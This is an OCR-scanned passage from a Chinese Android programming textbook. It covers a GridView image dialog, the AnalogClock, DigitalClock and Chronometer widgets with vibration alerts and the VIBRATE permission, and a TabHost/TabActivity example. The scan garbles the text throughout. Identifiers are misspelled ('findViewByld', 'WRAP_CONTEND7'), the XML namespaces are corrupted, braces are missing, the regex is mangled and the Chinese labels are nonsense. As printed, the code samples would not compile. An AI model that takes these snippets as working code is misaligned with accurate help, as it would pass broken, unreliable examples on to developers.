this.myGridView = (GridView) super.findViewByld(R.id.myGridView) ; /1/ 取 得 组 件 
this.myGridView.setAdapter(new ImageAdapter(this, this.picRes)); // 设 置 图 片 
this.myGridView.setOnltemClickListener(new OnltemClickListenerImpl()) ; 


} 
private class OnltemClickListenerImpl implements OnltemClickListener { 
@Override 
public void onltemClick(AdapterView<?> parent, View view, int position, 
long id) { // 选 项 单 击 事件 


ImageView showlmg = new ImageView(MyGridViewDemo.this); // 定 义 图 片 组 件 

showlmg.setScaleType(ImageView.ScaleType.CENTER);// 居 中 显示 

showlmg.setLayoutParams(new 
LinearLayout.LayoutParams(LayoutParams.WRAP_CONTENT, 
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LayoutParams.WRAP_CONTEND7)); // 布 局 参数 
showlmg.setlmageResource(MyGridViewDemo .this.picRes[position]); /设置 图 片 
Dialog dialog = new AlertDialog.Builder(MyGridViewDemo.this) // 创 建 Dialog 


.setlcon(R.drawable.pic_m) // 设 置 显示 图 片 
-setTitle(" 查 看 图 片 ) /设置 标题 
.setView(showlmg) /设置 组 件 
.setNegativeButton(" 关 闭 "， // 设 置 取消 按钮 


new Dialoglnterface.OnClickListener(){ 
public void onClick(Dialoglnterface dialog, 
int whichButton) { 
}).create(); /| 创建 对 话 框 
dialog.show(); /显示 对 话 框 


} 
} 
本 程序 在 设置 GridView 显示 组 件 时 直接 使 用 了 setAdapter(new ImageAdapter(this, this.picRes)) 
操作 ,传递 一 个 自 定义 的 适配器 (ImageAdapter) 对 象 ， 从 而 达到 网 格 效果 的 显示 ， 而 程序 的 运 
行 效果 与 图 7-40 相同 。 


7.12 ”时 钟 组 件 : AnalogClock 与 DigitalClock 


时 钟 显示 在 任何 手机 上 都 是 不 可 缺少 的 功能 ， 而 在 Android 中 ， 提 供 了 两 个 时 钟 组 件 : 
AnalogClock 与 DigitalClock， 这 两 个 类 的 继承 结构 如 下 : 


AnalogClock 类 的 继承 结构 DigitalClock 类 的 继承 结构 
java.lang.Object java.lang.Object 
b android.view.View b android.view.View 
b android.widget.AnalogClock b android.widget.TextView 
b android.widget.DigitalClock 


AnalogClock 与 DigitalClock 组 件 本 身 的 功能 只 是 负责 显示 当前 的 系统 时 间 ， 下 面 通过 代码 
实现 这 两 个 不 同 风 格 时 间 的 显示 操作 。 
【 例 7-73】 在 main.xml 文件 中 定义 钟表 组 件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android= "http:Vschemas.android.comyapkresanaroid” 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="vertica/” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 组 件 高 度 为 屏幕 高 度 
<AnalogClock // 指 针 时 钟 组 件 

android:id="@+id/analog” /组件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 显示 宽度 
android:layout_height= "wrap_content 亡 // 组 件 高 度 为 显示 高 度 
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<DigitalClock /数字 时 钟 组 件 
android:id="@+id/digital” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content" /| 组件 宽度 为 显示 宽度 
android:layout_height="wrap_content” /> // 组 件 高 度 为 显示 高 度 

</LinearLayout> 


本 布局 管理 器 中 直接 定义 了 一 个 指针 时 钟 组 件 (AnalogClock) 和 一 个 数字 时 钟 组 件 
(DigitalClock) ， 程 序 的 运行 效果 如 图 7-41 所 示 。 


图 7-41 时 钟 组 件 


7.13 ”计时 器 : Chronometer 


计时 器 在 生活 中 应 用 广泛 ， 例 如 ， 在 进行 百 米 冲刺 跑 时 会 使 用 计时 器 来 计算 每 个 运动 员 所 使 
用 的 时 间 , 而 在 Android 系统 中 ,这 种 计时 的 功能 就 可 以 使 用 Chronometer 组 件 来 完成 -Chronometer 
类 的 继承 结构 如 下 : 
java.lang.Object 
b android.view.View 


b android.widget. TextView 


b android.widget.Chronometer 
android.widget.Chronometer 类 定义 的 常用 方法 如 表 7-23 所 示 。 


表 7-23 ”Chronometer 类 定义 的 常用 方法 


No. 方 ” 法 类 型 描述 
1 | public Chronometer(Context context) 构造 创建 Chronometer 对 象 
2 | public void setBase (long base) 普通 设置 一 个 基准 时 间 
3_| public void setFormat(String format) 普通 设置 显示 格式 
4 | public long getBaseO 普通 返回 设置 的 基准 时 间 
5 | public String getFormatO 普通 返回 设置 的 显示 格式 
6 | public void startO 普通 开始 计时 
7_| public void stop0 普通 停止 计时 
站 public void 人 (Chronometer. 普通 设置 计时 改变 的 监听 事件 
OnChronometerTickListener listener) 
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使 用 Chronometer 类 时 ， 可 以 通过 start0 方 法 启动 计时 ， 如 果 要 停止 计时 ,可 以 使 用 stop0 方 法 ， 
但 是 如 果 想 让 计时 器 重新 复位 ， 则 必须 使 用 setBase0 方 法 。 通 过 SystemClock.elapsedRealtime() 方 法 
可 以 返回 手机 系统 启动 到 现在 的 操作 时 间 ， 下 面 先 通过 代码 为 用 户 完成 一 个 基本 的 计时 操作 。 
【 例 7-74】 在 main.xml 文件 中 定义 组 件 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


xmlins:android="http:/schemas.android.com/apK/res/android" 
android:id="@+id/MyLayout”" /布局 管理 器 ID 


android:orientation="vertical" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 此 布局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 此 布局 管理 器 高 度 为 屏幕 高 度 
<Chronometer /计时 组 件 
android:id="@+id/myChronometer” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content" // 组 件 宽度 为 显示 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 显示 高 度 
<LinearLayout /定义 内 芒 线 性 布局 管理 器 
android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 组 件 高 度 为 屏幕 高 度 
<Button /按钮 组 件 
android:id="@+id/butStart” // 组 件 ID， 程 序 中 使 用 
android:text= " 丈 努 矿 p] // 上 默认 显示 文字 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
<Button /按钮 组 件 
android:id="@+id/butStop" // 组 件 ID， 程 序 中 使 用 
android:text=" 食 /£28 // 默 认 显示 文字 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
<Button // 按 钮 组 件 
android:id="@+id/butBase”" // 组 件 ID， 程 序 中 使 用 
android:text=" 乾 龙 " // 默 认 显示 文字 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
<Button // 按 钮 组 件 
android:id="@+id/butFormat” // 组 件 ID， 程 序 中 使 用 
android:text=" 芍 式 龙 弛 示 ” // 默 认 显示 文字 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 
</LinearLayout> 


本 程序 定义 了 一 个 计时 器 组 件 (Chronometer) 和 4 个 按钮 组 件 (Button), 每 个 按钮 在 Activity 


中 的 监听 处 理 中 负责 实现 不 同 的 计时 器 操作 功能 。 
【 例 7-75】 定义 Activity 程序 ， 操 作 计时 器 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.SystemClock; 
import android.view.View: 
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import android.view.View.OnClickListener; 

import android.widget.Button; 

import android.widget.Chronometer 

public class MyChronometerDemo extends Activity { 


private Chronometer myChronometer = null; // 计 时 器 组 件 
private Button butStart = null; /按钮 组 件 
private Button butStop = null; /按钮 组 件 
private Button butBase = null; /按钮 组 件 
private Button butFormat = null; /按钮 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /调用 默认 布局 管理 器 
this.myChronometer = (Chronometer) super 
findViewByld(R.id.myChronometen); // 取 得 组 件 
this.butStart = (Button) super findViewByld(R.id.butStart); // 取 得 组 件 
this.butStop = (Button) super .findViewByld(R.id.butStop); // 取 得 组 件 
this.butBase = (Button) super.findViewByld(R.id.butBase); // 取 得 组 件 
this.butFormat = (Button) super.findViewByld(R.id.butFormat); // 取 得 组 件 
this.butStart.setOnClickListener(new OnClickListenerImplStart()) ; /设置 监听 
this.butStop.setOnClickListener(new OnClickListenerlImplStop()) ; /设置 监听 
this.butBase.setOnClickListener(new OnClickListenerImplBase()) ; /设置 监听 
this.butFormat.setOnClickListener(new OnClickListenerImplFormat()) ; ”// 设 置 监听 
} 
private class OnClickListenerImplStart implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyChronometerDemo.this.myChronometer.start() ; // 开 始 计时 
1 
} 
private class OnClickListenerImplStop implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyChronometerDemo.this.myChronometer.stop() ; 1/ 结束 计时 
} 
} 
private class OnClickListenerImplBase implements OnClickListener { 
@Override 
public void onClick(View view) { 
// 通 过 SystemClock 类 的 elapsedRealtime() 方 法 将 其 设置 为 当前 时 间 ( 复 位) 
MyChronometerDemo.this.myChronometer.setBase(SystemClock 
.elapsedRealtime()); /复位 
} 
} 
private class OnClickListenerImplFormat implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyChronometerDemo.this.myChronometer.setFormat(" 新 的 显示 格式 : %s。");// 格 式 化 
} 
} 
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本 程序 通过 4 个 不 同 的 按钮 分 别 调用 了 Chronometer 
组 件 的 4 个 方法 : start()、stop()、setBase()、setFormat()， 
实现 对 Chronometer 组 件 的 操作 。 默 认 情况 下 计时 器 的 
显示 格式 为 “00:00”， 使 用 setFormat0 方 法 可 根据 用 户 rm 
指定 的 格式 进行 显示 ， 程 序 的 运行 效果 如 图 7-42 所 示 。 


Es 


图 7-42 Chronometer 组 件 操作 


提示 
关于 设置 格式 化 的 方法 。 
在 设置 计时 器 显示 格式 时 使 用 了 setFormat(" 新 的 显示 格式 : %s。") 代 码 操作 , 其 中 ,，“%s” 
是 格式 化 输出 的 标志 ， 表 示 要 输出 内 容 是 字符 串 ， 而 关于 这 些 标记 的 使 用 ， 不 熟悉 的 读者 可 
以 参考 《名 师 讲 坛 一 一 Java 开发 实战 经 典 》 第 12 章 的 内 容 。 


此 时 已 经 实现 了 计时 器 的 基本 功能 ， 但 只 能 对 计时 器 进行 一 些 简单 的 计时 操作 ， 如 果 希 望 
计时 时 间 到 达 后 〈 例 如 1 分 钟 ) 手机 可 以 进行 震动 提示 ， 则 需要 android.os.Vibrator 类 的 支持 ， 
此 类 定义 的 方法 如 表 7-24 所 示 。 

表 7-24 Vibrator 类 定义 的 方法 


No 描述 
1 public void cancel 取消 震动 
public boolean hasVibrato 判断 是 否 震动 


设置 震动 周期 ， 如 果 t 为 -1， 则 
3 public void vibrate(long[] pattern, int repeat) 
不 循环 震动 


public void vibrate(long milliseconds) 打开 震动 


4 
需要 注意 的 是 , 对 于 Vibrator 组 件 , 属于 系统 服务 的 范畴 , 所 以 要 想 取 得 Vibrator 类 的 对 象 ， 
需要 使 用 如 下 方式 : 
Vibrator vibrator = (Vibrator) super.getApplication().getSystemService 
(Service.VIBRATOR_SERVICE); // 取 得 震动 服务 


以 上 代码 的 作用 是 从 Android 系统 服务 中 取出 震动 服务 Service VIBRATOR_SERVICE) ， 
而 返回 的 对 象 是 Vibrator 类 的 对 象 。 


a 


关于 系统 服务 的 说 明 。 
在 第 1 章 讲解 了 Android 中 有 4 大 组 件 : Activities、Intent、Services 和 Content Provider， 
| 而 震动 属于 系统 服务 ( Services ) 的 范畴 ， 对 于 此 部 分 的 内 容 将 在 第 9 章 Android 通信 部 分 进 
; 行 详细 的 解释 ， 本 部 分 代码 读者 只 需要 使 用 即 可 。 


下 面 使 用 Chronometer 和 震动 器 一 起 完成 一 个 计时 的 功能 ， 当 时 间 累 计 到 1 分 钟 之 后 , 可 以 
自动 进行 震动 提示 。 
【 例 7-76】 定义 布局 管理 器 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout /定义 线性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android" 
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android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Chronometer // 计 时 器 组 件 
android:id="@+id/myChronometer” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 自身 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 自身 高 度 
<LinearLayout // 内 赃 线 性 布局 管理 器 
android:orientation="horizonta/" 1// 所 有 组 件 水 平 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 剩余 的 屏幕 高 度 
<Button /按钮 组 件 
android:id="@+id/butStart” // 组 件 ID， 程 序 中 使 用 
android:text= "开始 落 61 // 上 默认 显示 文字 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
<Button // 按 钮 组 件 
android:id="@+id/butStop”" // 组 件 ID， 程 序 中 使 用 
android:text=" 态 /78 // 上 默认 显示 文字 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 
</LinearLayout> 
本 布局 管理 器 定义 了 一 个 计时 器 和 两 个 操作 按钮 ， 在 开始 计时 时 ， 将 启动 计时 器 ; 停止 计 


时 时 ， 将 结束 计时 、 关 闭 震 动 ， 并 且 让 计时 器 复位 。 
【 例 7-77】 定义 Activity 程序 
package org.Ixh.demo; 
import android.app.Activity; 
import android.app.Service'; 
import android.os.Bundle; 
import android.os.SystemClock; 
import android.os.Vibrator 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
import android.widget.Chronometer; 
import android.widget.Chronometer.OnChronometerTickListener' 
public class MyChronometerDemo extends Activity { 


private Chronometer myChronometer = null; // 计 时 组 件 
private Button butStart = null; /按钮 组 件 
private Button butStop = null; /按钮 组 件 
private Vibrator vibrator = null ; /设置 震动 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 默认 布局 管理 器 

this.myChronometer = (Chronometer) super 
-findViewByld(R.id.myChronometen); // 取 得 组 件 

this.vibrator = (Vibrator) super.getApplication().getSystemService( 
Service.VIBRATOR_SERVICE); // 取 得 震动 服务 


this.butStart = (Button) super.findViewByld(R.id.butStart); // 取 得 组 件 
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this.butStop = (Button) super.findViewByld(R.id.butStop);”// 取 得 组 件 
this.butStart.setOnClickListener(new OnClickListenerlImplStart()) ; // 设 置 监 
this.butStop.setOnClickListener(new OnClickListenerImplStop()) ; // 设 置 监 


this.myChronometer.setFormat(" 当 前 计时 时 间 : %s。"); // 格 式 化 文本 
this.myChronometer.setOnChronometerTickListener( 
new OnChronometerTickListenerlmpl()); // 设 置 监 
} 
private class OnChronometerTickListenerlImpl implements OnChronometerTickListener { 
@Override 


public void onChronometerTick(Chronometer chronometer) { 
String time = chronometer.getText().toString() 


.replaceAll("[^(\d{2}:\d{2))]", ™"); // 取 出 时 间 
if ("01:00".equals(time)) { // 满 1 分 钟 
MyChronometerDemo.this.vibrator.vibrate(new long[] { 1000, 10, 
1000, 100 }, 0); // 设 置 震动 周期 及 循环 震动 


} 


private class OnClickListenerImplStart implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyChronometerDemo.this.myChronometer.start() ; // 开 始 计时 


} 
} 
private class OnClickListenerImplStop implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyChronometerDemo.this.myChronometer.stop() ; // 结 束 计 时 
MyChronometerDemo.this.myChronometer.setBase(SystemClock 
.elapsedRealtime()); // 复 位 
MyChronometerDemo .this.vibrator.cancel() ; // 取 消 震 动 
} 


} 

在 本 程序 中 ， 由 于 要 监听 计时 器 组 件 的 状态 ， 所 以 使 用 了 OnChronometerTickListener 接口 
进行 操作 的 监听 ， 每 当 计 时 器 时 间 增 加 后 都 会 调用 onChronometerTick0 方 法 ， 在 此 方法 中 将 取 
得 计时 器 当前 的 内 容 ， 如 果 时 间 已 经 到 了 1 分 钟 ， 则 开始 执行 手机 的 震动 操作 。 

另外 ， 由 于 本 程序 格式 化 了 计时 器 的 显示 文本 ， 所 以 为 了 抽取 有 用 的 内 容 ， 在 
OnChronometerTickListener 接口 实现 类 中 , 使 用 正则 表达 式 替 换 了 所 有 不 需要 的 内 容 (replaceAll 
CI*Qd{2}:Nq{2))]",")) ， 而 且 本 书 假设 计时 的 周期 范围 只 在 1 个 小 时 之 内 。 


本 


提示 

正则 表达 式 。 

正则 表达 式 在 开发 中 使 用 较 多 ， 尤 其 是 在 字符 串 的 验证 、 拆 分 、 替 换 等 操作 上 ， 使 用 得 更 
是 频繁 ， 如 果 读 者 对 于 此 部 分 知识 不 了 解 ， 可 以 参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 第 11 
章 的 内 容 。 


另外 ， 由 于 本 程序 的 震动 服务 为 系统 服务 ， 所 以 必须 进行 授权 ， 而 授权 的 操作 就 是 在 
AndroidMainifestxml 文件 中 配置 一 个 操作 权限 。 
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【 例 7-78】 修改 AndroidMainifest.xml 文件 ， 配 置 权 限 
<?xml version="1.0" encoding="utf-8"?> 


<manifest 
xmlIns:android="http:/schemas.android.com/apK/res/android" 
package="org.lxh.demo” // 程 序 所 在 的 包 名 称 
android:versionCode="1" // 程 序 的 版 本 号 
android:versionName="1.0> /显示 给 用 户 的 版 本 信息 
<uses-sdk android:minSdkVersion="10"/> /最 低 运行 级 别 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon" // 程 序 的 图 标 
android:label="@string/app_name’”> // 配 置 显示 标签 
<activity // 配 置 Activity 程序 
android:name="MyChronometerDemo” //Activity 程序 类 
android:label="@string/app_name”> // 程 序 名 称 
<intent-filter> // 程 序 运行 时 启动 
<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 
</activity> 
</application> 
<uses-permission 1 设置 允许 震动 的 访问 权限 
android:name="android.permission.VIBRATE" /> 
</manifest> 


当 配 置 完成 之 后 ， 就 可 以 执行 程序 ， 并 且 在 计时 满 1 分 钟 后 进行 震动 。 本 程序 的 运行 效果 
如 图 7-43 所 示 。 


CE TE 


BE 


当前 计时 时 间 : 00:03， 
开始 计时 图 停止 计时 


图 7-43 计时 震动 
提示 
模拟 器 不 可 震动 。 


要 想 正确 地 运行 本 程序 ， 一 定 要 有 一 部 真正 的 Android 系统 的 手机 ， 在 模拟 器 上 是 无 法 
演示 震动 效果 的 。 


7.14 标签 : TabHost 


标签 组 件 的 主要 功能 是 进行 应 用 程序 分 类 管理 ， 例 如 ， 在 用 户 使 用 Windows 操作 系统 时 ， 
经 常见 到 如 图 7-44 所 示 的 图 形 界面 。 


算 机 名 | 硬件 | 高 级 “| 系统 还 原 | 自动 更 新 | 远程 | 


图 7-44 选项 卡 
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这 种 界面 的 主要 特点 是 可 以 在 一 个 窗口 中 显示 多 组 标签 栏 的 内 容 。 在 Android 系统 中 , 每 个 
标签 栏 称 为 一 个 Tab， 而 包含 多 个 标签 栏 的 容器 就 称 为 TabHost。TabHost 类 的 继承 结构 如 下 : 
java.lang.Object 


b android.view.View 
b android.view.ViewGroup 
b android.widget.FrameLayout 


b android.widget.TabHost 
通过 继承 结构 可 以 发 现 ，TabHost 类 是 FrameLayout 〈 帧 布局 、 框 架 布 局 ) 的 子 类 ， 该 类 中 
的 常用 方法 如 表 7-25 所 示 。 


表 7-25 TabHost 类 中 的 常用 方法 


No. 方 法 描述 
1 public TabHost(Context context) 创建 TabHost 类 对 象 
2 public void addTab(TabHost.TabSpec tabSpec) 增加 一 个 Tab 
1 public TabHost.TabSpec newTabSpec(String tag) 创建 一 个 TabHost.TabSpec 对 象 
4 public View getCurrentView|O 普通 取得 当前 的 View 对 象 
§ public void setupO 建立 TabHost 对 象 
6 public void setCurrentTab(int index 设置 当前 显示 的 Tab 编号 
7 public void setCurrentTabByTag(String tag 设置 当前 显示 的 Tab 名 称 
8 public FrameLayout getTabContentViewO 返回 标签 容器 
public void set OaTabC hanee dee 普通 设置 标签 改变 时 触发 

(TabHost.OnTabChangeListener 1) 


要 想 实现 标签 显示 界面 ， 有 两 种 方式 可 供 选择 。 
方式 一 : 直接 让 一 个 Activity 程序 继承 TabActivity 类 。 
方式 二 : 利用 findViewById0 方 法 取得 TabHost 组 件 ， 并 进行 若干 配置 。 
(1) 直接 继承 TabActivity 类 
要 想 实现 标签 界面 的 功能 ， 最 简单 的 方法 是 让 一 个 Activity 程序 直接 继承 TabActivity 类 ， 
此 类 的 继承 结构 如 下 : 
java.lang.Object 
b android.content.Context 
b android.content.ContextWrapper 
b android.view.ContextThemeWrapper 
b android.app.Activity 
b android.app.ActivityGroup 


b android.app.TabActivity 
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TabActivity 类 中 定义 的 常用 方法 如 表 7-26 所 示 。 
表 7-26 TabActivity 类 的 常用 方法 


No. 方 ” 法 描述 
1 public TabActivityO 无 参 构造 ， 方 便 子 类 继承 时 调用 
2 public TabHost getTabHostO 取得 TabHost 类 的 对 象 


如 果 一 个 Activity 程序 继承 了 TabActivity 类 ， 则 可 以 直接 利用 getTabHost0 方 法 取得 一 个 
TabHost 类 的 对 象 。 

在 标签 界面 显示 时 ， 由 于 不 是 直接 通过 <TabHost> 元 素 在 布局 管理 器 中 定义 的 组 件 形式 ， 所 
以 无 法 使 用 findViewById0 方 法 进行 TabHost 对 象 的 实例 化 ， 那 此 时 可 以 通过 LayoutInflater 类 
完成 布局 管理 器 中 定义 组 件 的 实例 化 操作 (这 与 实现 定制 对 话 框 的 操作 是 一 样 的 ) ， 如 图 7-45 
所 示 ， 此 类 定义 的 常用 方法 如 表 7-27 所 示 。 


LayoutIinflaterfrom(this).inflate(); 
转换 


布局 管理 : main.xml 


<LinearLayout> 


Activity 程 序 
<LinearLayout> ! 


</LinearLayout> 


图 7-45 ”LayoutInflater 类 的 功能 


表 7-27 Layoutlnflater 类 的 常用 方法 
描述 


.| 方 法 | 类 型 | 
root, boolean attachToRoot . 件 的 容器 以 及 是 否 包含 设置 组 件 的 参数 


二 0 LayoutInflater from(Context 从 指定 的 容器 中 获得 LayoutInflater 对 象 
contexr 


另外 , 使 用 TabHost 类 增加 每 一 个 Tab 的 方法 是 : public void addTab(TabHost.TabSpec tabSpec)， 
所 以 需要 增加 多 个 TabHost.TabSpec 的 对 象 。TabHost.TabSpec 类 的 继承 结构 如 下 : 


java.lang.Object 


b android.widget.TabHost.TabSpec 
此 类 是 TabHost 定义 的 内 部 类 , 如 果 要 想 取得 此 类 的 实例 化 对 象 , 则 需要 依靠 TabHost 类 中 
的 newTabSpec() 方 法 完成 。TabHost.TabSpec 类 中 定义 的 常用 方法 如 表 7-28 所 示 。 


表 7-28 TabHost.TabSpec 类 的 常用 方法 


方 ” 法 类 型 描述 


1 | public TabHost.TabSpec setIndicator(CharSequence label) 普通 | 设置 一 个 Tab 
public TabHost.TabSpec setContent(int viewId) 普通 设置 要 显示 的 组 件 IJD 
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下 面 使 用 TabHost 完成 一 个 标签 界面 的 显示 。 为 了 显示 多 个 标签 ， 本 程序 将 直接 在 布局 管 
理 器 中 定义 多 个 <LinearLayout> 布 局 ， 并 且 每 个 布局 管理 器 使 用 不 同 的 IJD 加 以 区 分 。 


【 例 7-79】 建立 tab.xml 文件 并 定义 多 种 组 件 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


// 线 性 布局 管理 器 


xmlIns:android="http:/schemas.android.com/apK/res/android”" 


android:id="@+id/MyLayout" 
android:orientation="Vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fil/l parent"> 
<LinearLayout 
android:id="@+id/tab_edit" 
android:layout_width="fill_parent" 
android:layout_height="fil|_parent" 
androidrientation="vertica/"> 
<EditText 
android:id="@+id/edit" 
android:layout_width="wrap_content” 
android:layout_height="wrap_content” 
android:text= " 磅 答 入 雁 帝 类 继 完 ..” 
android:textSize="18px'> 
<Button 
android:id="@+id/but” 
android:layout_width="wrap_content” 
android:layout_height="wrap_content” 
android:text=" 克 筑 放 
</LinearLayout> 
<LinearLayout 
android:id="@+id/tab_clock” 
android:layout_width="fill_parent”" 
android:layout_height="fil|_parent” 
androidrientation="Vertica/"> 
<AnalogClock 
android:id="@+id/myAnalogClock” 
android:layout_width="wrap_content” 
android:layout_height="wrap_content"/> 
</LinearLayout> 
<LinearLayout 
android:id="@+id/tab_sex" 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent" 
androidrientation="vertica/"> 
<RadioGroup 
android:id="@+id/sex” 
android:layout_width="fill_parent" 
android:layout_height="wrap_content” 
android:orientation="vertical”> 


// 布 局 管理 器 ID 

/所 有 组 件 垂直 排列 

/此 布局 管理 器 宽度 为 屏幕 宽度 
// 此 布局 管理 器 高 度 为 屏幕 高 度 
// 第 一 个 内 赃 线 性 布局 管理 器 
// 布 局 管理 器 ID， 程序 中 使 用 
// 此 布局 管理 器 宽度 为 屏幕 宽度 
// 此 布局 管理 器 高 度 为 屏幕 高 度 
/所 有 组 件 垂直 排列 
/定义 文本 输入 框 

// 组 件 ID， 程 序 中 使 用 

// 组 件 宽度 为 文字 宽度 

// 组 件 高 度 为 文字 高 度 

/默认 文字 

/文字 大 小 

/定义 按钮 
/组件 ID， 程 序 中 使 用 

// 组 件 宽度 为 文字 宽度 

// 组 件 高 度 为 文字 高 度 

/默认 文字 

// 第 一 个 内 赃 布局 管理 器 完结 
/第 二 个 内 嵌 线 性 布局 管理 器 
// 组 件 ID， 程 序 中 使 用 

// 此 布局 管理 器 宽度 为 屏幕 宽度 
// 此 布局 管理 器 高 度 为 屏幕 高 度 
/所 有 组 件 垂直 排列 

// 时 钟 组 件 
/组件 ID， 程 序 中 使 用 

// 组 件 宽度 为 显示 宽度 

// 组 件 高 度 为 显示 高 度 

// 第 二 个 内 赃 布 局 管理 器 完结 
// 第 3 个 内 赃 线 性 布局 管理 器 
// 组 件 ID， 程 序 中 使 用 

// 此 布局 管理 器 宽度 为 屏幕 宽度 
// 此 布局 管理 器 高 度 为 屏幕 高 度 
/所 有 组 件 垂直 排列 

// 单 选 按钮 组 件 

// 组 件 ID， 程 序 中 使 用 

// 组 件 宽度 为 屏幕 宽度 
/组件 高 度 为 文字 高 度 

/垂直 排列 组 件 


第 7 章 Android 中 的 基本 控件 (下 ) 


<RadioButton // 单 选 按钮 
android:id="@+id/male” // 组 件 ID， 程 序 中 使 用 
android:checked="true” // 默 认 选 中 
android:text=" 烂 吹 : 男 "/> /| 默认 文字 

<RadioButton // 单 选 按钮 
android:id="@+id/female” 1// 组 件 IiD， 程 序 中 使 用 
android:text=" 烂 嚼 : 支 "/> // 上 默认 文字 

</RadioGroup> // 单 选 按钮 组 件 完结 
</LinearLayout> /第 3 个 内 赃 布 局 管理 器 完结 
</LinearLayout> 


本 布局 管理 器 一 共 定义 了 3 个 不 同 的 内 嵌 线 性 布局 管理 器 (LinearLayout) ， 而 这 3 个 内 肉 

的 布局 管理 器 将 分 别 设置 到 不 同 的 标签 中 进行 显示 。 
【 例 7-80】 定义 Activity 程序 ， 此 类 直接 继承 TabActivity 类 

package org.Ixh.demo; 

import android.app. TabActivity; 

import android.os.Bundle; 

import android.view.LayoutInflater; 

import android.widget. TabHost; 

import android.widget.TabHost.TabSpec; 


public class MyTabHostDemo extends TabActivity { // 直 接 继承 TabActivity 
private TabHost myTabHost:; /定义 TabHost 
private int] layRes = { R.id.tab_edit, R.id.tab_clock 
, R.id.tab_sex }; /定义 内 赃 布 局 管理 器 ID 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


this.myTabHost = super.getTabHost() ; // 取 得 TabHost 对 象 
Layoutinflater.from(this) // 取 得 Layoutinflater 对 象 
.inflate(R.layout.tab, // 定 义 转换 的 布局 管理 器 
this.myTabHost.getTabContentView()， /指定 标签 增加 的 容器 
true); /实例 化 布局 管理 器 中 的 组 件 
for (int x = 0; x < this.layRes.length; x++){ /| 循环 取出 所 有 布局 标记 
TabSpec myTab = myTabHost.newTabSpec("tab" + x); /定义 TabSpec 
myTab.setlndicator(" 标 签 - "+ x) ; /设置 标签 文字 
myTab.setContent(this.layRes[x]) ; /设置 显示 的 组 件 
this.myTabHost.addTab(myTab) ; // 增 加 标签 
和 


} 

在 布局 管理 器 中 一 共 定义 了 3 个 内 嵌 线 性 布局 管理 器 〈 资 源 ID 分 别 为 Rid.tab_edit、 
Ridtab clock、R.idtab sex) ， 为 了 方便 操作 ， 在 本 程序 中 将 其 统一 定义 在 了 layRes 数组 中 ， 
于 本 Activity 程序 直接 继承 了 TabActivity 类 ,所 以 直接 利用 getTabHost() 方 法 即 可 取得 TabHost 
类 的 实例 化 对 象 ， 并 且 在 程序 中 使 用 了 LayoutInflater 类 将 布局 管理 器 中 所 定义 的 所 有 组 件 进行 
实例 化 ， 随 后 采用 循环 的 形式 将 每 一 个 TabSpec 的 对 象 设置 到 了 TabHost 对 象 中 。 程 序 的 运行 
效果 如 图 7-46 所 示 。 
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图 7-46 标签 界面 


(2) 在 布局 管理 器 中 定义 TabHost 组 件 
如 果 使 用 布局 管理 器 的 方式 实现 标签 的 显示 , 则 首先 必须 了 解 android.widget.TabWidget 类 ， 
此 类 的 继承 结构 如 下 : 
java.lang.Object 


b android.view.View 


b android.view.ViewGroup 


b android.widget.LinearLayout 


b android.widget.TabWidget 
